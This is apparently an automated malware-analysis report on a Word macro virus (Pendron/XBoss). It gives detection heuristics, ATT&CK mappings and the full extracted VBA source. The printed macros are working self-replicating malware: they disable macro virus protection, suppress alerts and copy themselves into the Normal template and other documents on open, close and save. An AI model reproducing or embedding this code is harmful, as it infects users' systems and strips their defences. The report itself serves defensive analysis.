MALICIOUS
196
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose, which are common for malicious documents. The 'ToolsMacro' subroutine prompts the user for a password using the string 'princess', indicating a social engineering attempt to bypass security or enable further execution. The ClamAV detection 'Doc.Trojan.Pendron-1' further supports its classification as a malicious document.
Heuristics 6
-
ClamAV: Doc.Trojan.Pendron-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Pendron-1
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3209 bytes |
SHA-256: 5624cb591aac5a0ce9ed5d02a8061e8b087cbd94259b57318017ce9f2fe424c6 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "XBoss"
Sub Boss41()
On Error GoTo Cilaka
Application.Run MacroName:="Normal.XBoss.ToolsCustomize"
CommandBars("Tools").Controls(14).Delete
Cilaka:
End Sub
Sub ToolsCustomize()
End Sub
Sub ViewVBCode()
End Sub
Sub FilePrintPreview()
End Sub
Sub FilePrintPreviewFullScreen()
End Sub
Sub ToolsMacro()
masuk:
kode$ = "princess"
pass$ = InputBox("Enter Your Password", "Pendron Security", , 1, 1)
If pass$ <> kode$ Then GoTo Cilaka
Dialogs(wdDialogToolsMacro).Show
GoTo selesai
Cilaka:
MsgBox "You Wrong My Friend !!!", vbCritical, "Pendron GN'R Production"
GoTo masuk
selesai:
End Sub
Sub ToolsOptions()
End Sub
Sub FileSaveAs()
Attribute FileSaveAs.VB_Description = "Saves a copy of the document in a separate file"
Attribute FileSaveAs.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.FileSaveAs"
On Error GoTo XBoss
PlanetJangkit
TularComputer
XBoss:
End Sub
Sub AutoClose()
On Error GoTo XBoss
PlanetJangkit
TularComputer
XBoss:
End Sub
Sub AutoExec()
On Error GoTo XBoss
If WeekDay(Now()) = 6 And Day(Now()) = 11 Then
Assistant.Visible = True
With Assistant.NewBalloon
.Icon = msoIconAlert
.Heading = "Hallo Sobat Semua...."
.Text = "Salam Buat Anak-Anak Gunadarma From Pendron"
.Animation = msoAnimationEmptyTrash
.Show
End With
End If
XBoss:
End Sub
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Planet Computer\r\nSalam Buat Kamu semua"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.budi.AutoOpen"
On Error GoTo XBoss
Boss41
PlanetJangkit
TularComputer
XBoss:
End Sub
Sub PlanetJangkit()
On Error GoTo XBoss
Options.VirusProtection = False
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Application.UserName = "Pendron"
Application.UserInitials = "Gunadarma"
DocumentInstalled = False
Options.EnableSound = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
If NormalInstalled = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.Name, Name:="XBoss", Object:=wdOrganizerObjectProjectItems
ActiveDocument.SaveAs FileName:=ActiveDocument.Name, FileFormat:=wdFormatTemplate
End If
XBoss:
End Sub
Sub TularComputer()
On Error GoTo XBoss
Options.VirusProtection = False
Application.ScreenUpdating = False
Application.DisplayAlerts = wdAlertsNone
Options.VirusProtection = False
Application.UserName = "Pendron"
Application.UserInitials = "Gunadarma"
DocumentInstalled = False
Options.EnableSound = False
Set ActiveDoc = ActiveDocument
Set GlobalDoc = NormalTemplate
If NormalInstalled = False Then
Application.OrganizerCopy Source:=ActiveDocument.Name, Destination:=NormalTemplate.FullName, Name:="XBoss", Object:=wdOrganizerObjectProjectItems
Options.SaveNormalPrompt = False
End If
XBoss:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.